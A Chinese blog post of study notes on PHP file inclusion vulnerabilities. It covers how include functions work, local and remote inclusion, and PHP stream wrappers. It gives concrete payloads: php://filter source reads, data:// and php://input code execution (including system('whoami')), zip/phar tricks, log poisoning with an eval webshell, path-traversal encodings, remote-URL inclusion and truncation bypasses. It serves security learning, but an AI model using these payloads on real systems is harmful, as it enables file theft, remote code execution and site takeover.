【Try to Hack】文件包含
📒博客主页:开心星人的博客主页
🔥系列专栏:Try to Hack
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年6月4日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
很多内容来自互联网,仅作自己学习使用
@toc
🌳1.概述文件包含
文件包含:在一个代码文件中直接包含引入另外一个代码文件
像C++中的include,为什么使用一些函数需要include呢?就是包含其他代码文件,从而调用其他代码文件中的函数或者类。
🌳2.文件包含函数
四个函数:include、include_once、require、require_once
1、include():使用该函数时只有代码执行到include()函数时才将文件包含进来,发生错误时给出一个警告并继续向下执行。
2、include_once():与include函数相同,不同的是在重复调用同一文件时程序只调用一次
3、require():与上面函数不同的是在函数执行错误的时候,函数会输出错误信息,并终止脚本执行
4、require_once():同样也是在重复调用的同一文件的时候,程序只调用一次。
==当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析==
例如:
<?php
$file = $_GET['file'];
include $file;
?>
在同目录下有个phpinfo.txt,其内容为<? phpinfo(); ?>。则只需要访问:index.php?file=phpinfo.txt
即可成功解析phpinfo
🌳3.漏洞产生
有些时候网站在提供特定功能时需要将文件包含函数中的文件变成一个变量,而这个变量有事用户可控的情况下,在没有进行过滤,或者过滤不充分的情况下就会产生文件包含漏洞
🌳4.漏洞危害
1、web服务器的文件被外界浏览导致信息泄露;
2、脚本被任意执行:篡改网站;非法操作;攻击其他网站;
🌳5.文件包含漏洞的分类
1、本地文件包含
:大部分情况下遇到的文件包含漏洞都是LFI
2、远程文件包含
:能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
条件
:
php.ini中进行配置
allow_url_include = On
allow_url_fopen = On
两个配置选项均需要为On,才能远程包含文件成功。
在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。
🌳6.Windows、Linux常见文件路径
Windows常见默认文件
Linux/Unix常见默认文件
常见日志默认路径
🌳7.php伪协议
php伪协议就是指php支持的协议和封装协议(12种)
- file:// — 访问本地文件系统
- http:// — 访问 HTTP(s) 网址
- ftp:// — 访问 FTP(s) URLs
- php:// — 访问各个输入/输出流(I/O streams)
- zlib:// — 压缩流
- data:// — 数据(RFC 2397)
- glob:// — 查找匹配的文件路径模式
- phar:// — PHP 归档
- ssh2:// — Secure Shell 2
- rar:// — RAR
- ogg:// — 音频流
- expect:// — 处理交互式的流
🌳8.包含姿势
php://filter
通常情况下,当我们去包含PHP源码的时候,源码会被解析我们就都不到源代码
该伪协议可以获取指定文件的源码,当他与包含函数结合时,php://filter流会被当做php文件执行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取(要与文件包含函数结合使用)
利用条件
:无
姿势
:
?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
不加read也是可以的,在绕过waf时,可能有些许用处
?file=php://filter/convert.base64-encode/resource=phpinfo.php
php://input
php://input用于执行php代码(需要post请求提交数据)
利用条件
:
allow_url_include = On。
allow_url_fopen无要求。
小题目见姿势:
<?php
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
可以命令执行
data://
利用条件
:
php版本大于等于php5.2
allow_url_fopen = On
allow_url_include = On
姿势
:
可以命令执行
?file=data://,<?php phpinfo();
?file=data://text/plain,<php phpinfo();
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
?file=data:text/plain,<php phpinfo();
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
p?file=data:text/plain,<?php system('whoami');?>
phar:// 和zip://
利用条件
:
php版本大于等于php5.3.0
可以进行命令执行
适用于验证包含文件为特定后缀时
<?php
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
include($file);
}
?>
<?php
$file = $_GET['file'];
include($file.'.jpg');
?>
\x00的截断在php>5.3.4就没用了
这种情况下就可以使用==phar://或zip://==
新建一个文件 1.jpg
图片内容即可为需要执行的命令,如<?php phpinfo(); ?>
打包成zip
然后构造zip://1.zip#1.jpg
即
?file=zip://1.zip%231.jpg
==zip和phar不同的是zip必须使用绝对路径(在指定压缩包位置的时候),而phar可以使用相对路径也可以使用绝对路径==
包含日志
利用条件
:
需要知道服务器日志的存储路径,且日志文件可读。
使用场景:当我们没有上传点,并且也没有url_allow_include功能时
很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在 /var/log/apache2/。
当我们访问网站时,服务器的日志中都会记录我们的行为,当我们访问链接中包含PHP一句话木马时,也会被记录到日志中
但如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改。
姿势
:
?file=<?php eval($_GET(a)); ?>
用bp抓包,然后修改url
这时候我们如果知道服务器的日志位置,我们可以去包含这个文件从而拿到shell
包含上传的文件
需要配合文件上传漏洞
利用条件
:
存在文件上传漏洞
知道上传文件的位置
知道上传文件的文件名
🌳9.绕过
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file.'/test/test.php';
?>
指定前缀
当只指定前缀时,可以通过目录遍历进行绕过…/
但有些时候…/可能会被过滤
再进行绕过
1、利用url编码
../
%2e%2e%2f
..%2f
%2e%2e/
..\
%2e%2e%5c
..%5c
%2e%2e\
2、二次编码
../
%252e%252e%252f
..\
%252e%252e%252f
指定后缀
伪协议
前面说了一种,通过zip或者phar伪协议绕过
RFI时url
在远程文件包含漏洞(RFI)中:
url格式为
protocol :// hostname[:port] / path / [;parameters][?query]#fragment
所以可以通过query或者fragment进行绕过
即在最后加上? 或者 #
index.php?file=http://remoteaddr/remoteinfo.txt?
或者
index.php?file=http://remoteaddr/remoteinfo.txt%23
0字节截断
php版本 < php 5.3.4
?file=1.txt%00
长度截断
php版本 < php 5.2.8
目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./
?file=./././././此处省略./shell.txt
则指定后缀,在达到最大值后会被直接丢弃掉。
- 点赞
- 收藏
- 关注作者
评论(0)